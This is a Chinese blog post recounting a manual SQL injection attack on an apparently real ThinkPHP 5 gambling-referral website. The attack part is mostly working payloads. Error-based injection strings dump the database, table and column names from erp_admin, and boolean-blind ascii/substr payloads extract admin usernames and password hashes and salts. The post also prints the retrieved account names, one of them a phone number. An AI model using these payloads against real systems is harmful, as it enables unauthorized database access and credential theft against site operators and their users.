点击蓝字,关注我们
欢迎转发,请勿抄袭!freebuf看到该篇文章,均为同一个作者!
微信经常被人分享一些乱七八杂的文章,比如什么100元带你赚大钱,今天群里面发了出来,就pk一下,看看能不能毒打。
事件起因是:群里有大哥说是引流赌博链接,就把链接发出来了,
群里反馈说封IP很快,我就打开看看,一看好家伙
一小时赚这么多钱,苦逼的我一天100都赚不到,赶紧那电脑打开,也想学习学习,如何赚钱。当我电脑打开就跳到京东了。
让我思考重构世界,嘤嘤嘤!!!!!瞧不起我??
手机能浏览,电脑不能浏览。那就是页面存在的,那么,看看是什么框架做的
小老弟,这不是tp5嘛!既然是TP5,试试tp5的漏洞,行行
testing.................................
mmp,不行,反而还给封了ip,只能自己来了,自动化工具肯定是不行了,手工开始干他。
先测试 payload:and 1=1(正常跳到京东)
再测试:and 1=2(报错了),页面如下,似乎得到了他的查询语句
那就常规注入,试一下,先用order by 判断占位,试了半天都报错,确定不下多少位 ,感觉要凉了。
可恶的是,没试多少次就给我重置了!!!!!!!
换一个角度,那就报错注入吧,免得踩坑,爆当前数据库,构造url:
and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)
得到数据库,那就,下一步,到报表,又给重置了IP,有要换!!!!
好家伙哈,看我不好好收拾你!
直接爆表,写了脚本,爆了有用的表erp_admin,使用的payload:
and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 4,1),floor(rand(0)*2),'~')x from information_schema.tables group by x)a)
然后爆字段,使用的payload:
and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name='"+tab1+"' limit "+str(i)+",1),floor(rand(0)*2),'~')x from information_schema.tables group by x)a)
通过tab 为指定的数据表修改str(i) 显示不同的字段名,就写了脚本,跑出来了
['admin_id','admin_username','admin_pwd','admin_pwd_salt','admin_changepwd','admin_email','admin_realname','admin_avatar','admin_tel','admin_hits','admin_ip','admin_time','admin_last_ip','admin_last_time','admin_addtime','admin_mdemail','admin_open','member_id','admin_bs','admin_dqtime','admin_dqdate','gourp_id'] 一共20多个字段名.
看到admin_pwd_salt,完了,密文无解,完犊子咯!白费一趟。先跑一下数据,想用报错型爆,报错的payload:
and (select 1 from (select count(*),concat('~',(select "+columnname+" from "+tab1+" limit "+str(i)+",1),floor(rand(0)*2),'~')x from information_schema.tables group by x)a)
指定的字段名,表名 修改str(i)返回第几个字符串。
明明写了limit,还说我查询多行,我真实的payload:
and%20(select%201%20from%20(select%20count(*),concat('~',(select%20admin_username%20from%20erp_admin%20limit%201,1),floor(rand(0)*2),'~')x%20from%20information_schema.tables%20group%20by%20x)a)
既然说我多行,那就布尔注入,办法总比困难多,哈哈哈
先上payload:
if(ascii(substr((select(字段名)from(表名)),第几位字符串,1))=第几个字符串的acsii,1241,2)
假如第一个账号的第一个字符等于A,字符串acsii ,当
if(ascii(substr((select(admin_username)from(erp_admin)),1,1))=65,1241,2)
会被跳到京东,否则都报错。。。。。写了脚本,跑了第一个账号为admin。第二个账号就
if(ascii(substr((select(flag)from(flag) limit 2,1),1,1))=0,1,2)
多加一个limit 。跑了三个,账号分别为admin、qunliang、15023181637。
拿管理员开刀,又返回去用报错注入。
payload:
and (select 1 from (select count(*),concat('~',(select "+str(i)+" from erp_admin where admin_username='admin'),floor(rand(0)*2),'~')x from information_schema.tables group by x)a)
限制为admin_username为admin就能爆出来了。修改str(i),i为字段名,得到了
密码的密文为32的加密,又有密码的salt,密码解不出来了。
基本结束了。只能通过其他办法吧!
仅供学习交流,请勿违法!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论